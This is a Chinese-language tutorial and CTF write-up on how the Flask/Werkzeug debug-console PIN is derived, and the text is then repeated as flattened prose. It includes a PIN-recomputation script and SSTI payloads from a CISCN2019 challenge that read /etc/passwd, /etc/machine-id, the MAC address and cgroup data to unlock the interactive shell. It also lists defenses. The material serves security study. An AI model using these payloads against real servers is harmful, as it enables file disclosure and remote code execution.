Flask debug模式下的 PIN 码安全性
字数 1787 2025-08-19 12:41:54

Flask Debug模式下的PIN码安全性分析与利用

一、概述

Flask在生产环境中开启debug模式时,会提供一个交互式shell,可以执行自定义Python代码。在较旧版本中无需输入PIN码即可执行代码,而新版本需要输入PIN码才能使用该功能。

关键特性:

  • 同一台机器上多次重启Flask服务,PIN码值不变
  • PIN码不是随机生成,有固定的生成算法
  • 通过分析生成流程可以预测或计算PIN码

二、PIN码生成流程分析

环境要求

  • Python 2.7
  • Flask 1.1.2
  • Werkzeug库

生成流程关键代码

PIN码生成主要在werkzeug/debug/__init__.py文件的get_pin_and_cookie_name函数中实现:

def get_pin_and_cookie_name(app):
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None
    
    # 如果显式禁用PIN码
    if pin == "off":
        return None, None
    
    # 如果提供了明确的PIN码
    if pin is not None and pin.replace("-", "").isdigit():
        if "-" in pin:
            rv = pin
        else:
            num = pin
    
    modname = getattr(app, "__module__", app.__class__.__module__)
    
    try:
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None
    
    mod = sys.modules.get(modname)
    
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]
    
    private_bits = [
        str(uuid.getnode()),
        get_machine_id()
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
    cookie_name = "__wzd" + h.hexdigest()[:20]
    
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]
    
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x:x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
    
    return rv, cookie_name

生成步骤解析

  1. 初始化变量pinrvnum初始为None
  2. 检查环境变量:如果设置了WERKZEUG_DEBUG_PIN则使用预设值
  3. 收集公开信息
    • username:运行Flask的用户名
    • modname:通常为flask.app
    • app.__name__:通常为Flask
    • mod.__file__:Flask app.py的绝对路径
  4. 收集私有信息
    • uuid.getnode():网卡MAC地址的十进制表示
    • get_machine_id():系统ID
  5. MD5哈希计算
    • 将上述6个值按顺序连接
    • 添加saltcookiesaltpinsalt
    • 计算MD5哈希
  6. 格式化PIN码
    • 取哈希值前9位数字
    • 格式化为XXX-XXX-XXX的形式

三、关键变量获取方法

1. username

  • Linux:从/etc/passwd中读取
  • Windows:使用net user命令查看

2. modname和app.name

通常固定为:

  • modname = flask.app
  • app.__name__ = Flask

3. mod.file

  • 从Flask报错页面可见
  • Python 2: app.pyc
  • Python 3: app.py
  • 示例:/usr/local/lib/python2.7/dist-packages/flask/app.pyc

4. uuid.getnode() (MAC地址)

  • Linux
    • 读取/sys/class/net/eth0/address/sys/class/net/ens33/address
    • 转换为十进制
  • Windows
    • ipconfig /all获取MAC地址
    • 转换为十进制
    • 注意:可能有多个网卡,uuid.getnode()获取第一个匹配的

5. get_machine_id()

  • Linux
    • 读取/etc/machine-id/proc/sys/kernel/random/boot_id
    • /proc/self/cgroup的ID拼接
  • Windows
    • 注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
    • 键名:MachineGuid
    • 命令:reg query HKLM\SOFTWARE\Microsoft\Cryptography

四、PIN码计算脚本

import hashlib
from itertools import chain

probably_public_bits = [
    'username',          # 替换为实际用户名
    'flask.app',         # 通常固定
    'Flask',             # 通常固定
    '/path/to/flask/app.pyc'  # 替换为实际路径
]

private_bits = [
    'mac_address_decimal',  # 替换为MAC地址十进制
    'machine_id'            # 替换为系统ID
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(
                num[x:x + group_size].rjust(group_size, '0')
                for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

五、实际利用场景

例题分析:[CISCN2019 华东南赛区]Double Secret

  1. 漏洞点:当/secret?secret=参数超过5位数时会触发debug页面

  2. 信息收集

    • 使用SSTI漏洞读取系统文件获取生成PIN所需的信息
    • 通过RC4加密payload绕过过滤
  3. 关键payload

    # 获取username
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
    
    # 获取MAC地址
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/sys/class/net/eth0/address').read()}}
    
    # 获取machine-id
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/machine-id').read()}}
    
    # 获取cgroup信息
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/proc/self/cgroup').read()}}
    
  4. 计算PIN码:收集所有必要信息后使用上述脚本计算

六、防御措施

  1. 生产环境禁用debug模式

    app.run(debug=False)
    
  2. 设置复杂PIN码

    export WERKZEUG_DEBUG_PIN="your-complex-pin"
    
  3. 完全禁用PIN码

    export WERKZEUG_DEBUG_PIN="off"
    
  4. 使用最新版本:保持Flask和Werkzeug更新以获取安全修复

七、总结

Flask debug模式的PIN码安全性依赖于多个系统信息的组合,通过分析可以:

  1. 理解PIN码生成机制
  2. 在获得足够系统信息时计算PIN码
  3. 利用SSTI等漏洞收集必要信息
  4. 最终获取交互式shell权限

这种特性在渗透测试中可能被用作后门,因此生产环境必须严格禁用debug模式。

Flask Debug模式下的PIN码安全性分析与利用 一、概述 Flask在生产环境中开启debug模式时,会提供一个交互式shell,可以执行自定义Python代码。在较旧版本中无需输入PIN码即可执行代码,而新版本需要输入PIN码才能使用该功能。 关键特性: 同一台机器上多次重启Flask服务,PIN码值不变 PIN码不是随机生成,有固定的生成算法 通过分析生成流程可以预测或计算PIN码 二、PIN码生成流程分析 环境要求 Python 2.7 Flask 1.1.2 Werkzeug库 生成流程关键代码 PIN码生成主要在 werkzeug/debug/__init__.py 文件的 get_pin_and_cookie_name 函数中实现: 生成步骤解析 初始化变量 : pin 、 rv 、 num 初始为None 检查环境变量 :如果设置了 WERKZEUG_DEBUG_PIN 则使用预设值 收集公开信息 : username :运行Flask的用户名 modname :通常为 flask.app app.__name__ :通常为 Flask mod.__file__ :Flask app.py的绝对路径 收集私有信息 : uuid.getnode() :网卡MAC地址的十进制表示 get_machine_id() :系统ID MD5哈希计算 : 将上述6个值按顺序连接 添加 salt 值 cookiesalt 和 pinsalt 计算MD5哈希 格式化PIN码 : 取哈希值前9位数字 格式化为 XXX-XXX-XXX 的形式 三、关键变量获取方法 1. username Linux :从 /etc/passwd 中读取 Windows :使用 net user 命令查看 2. modname和app. name 通常固定为: modname = flask.app app.__name__ = Flask 3. mod. file 从Flask报错页面可见 Python 2: app.pyc Python 3: app.py 示例: /usr/local/lib/python2.7/dist-packages/flask/app.pyc 4. uuid.getnode() (MAC地址) Linux : 读取 /sys/class/net/eth0/address 或 /sys/class/net/ens33/address 转换为十进制 Windows : ipconfig /all 获取MAC地址 转换为十进制 注意:可能有多个网卡, uuid.getnode() 获取第一个匹配的 5. get_ machine_ id() Linux : 读取 /etc/machine-id 或 /proc/sys/kernel/random/boot_id 与 /proc/self/cgroup 的ID拼接 Windows : 注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography 键名: MachineGuid 命令: reg query HKLM\SOFTWARE\Microsoft\Cryptography 四、PIN码计算脚本 五、实际利用场景 例题分析:[ CISCN2019 华东南赛区 ]Double Secret 漏洞点 :当 /secret?secret= 参数超过5位数时会触发debug页面 信息收集 : 使用SSTI漏洞读取系统文件获取生成PIN所需的信息 通过RC4加密payload绕过过滤 关键payload : 计算PIN码 :收集所有必要信息后使用上述脚本计算 六、防御措施 生产环境禁用debug模式 : 设置复杂PIN码 : 完全禁用PIN码 : 使用最新版本 :保持Flask和Werkzeug更新以获取安全修复 七、总结 Flask debug模式的PIN码安全性依赖于多个系统信息的组合,通过分析可以: 理解PIN码生成机制 在获得足够系统信息时计算PIN码 利用SSTI等漏洞收集必要信息 最终获取交互式shell权限 这种特性在渗透测试中可能被用作后门,因此生产环境必须严格禁用debug模式。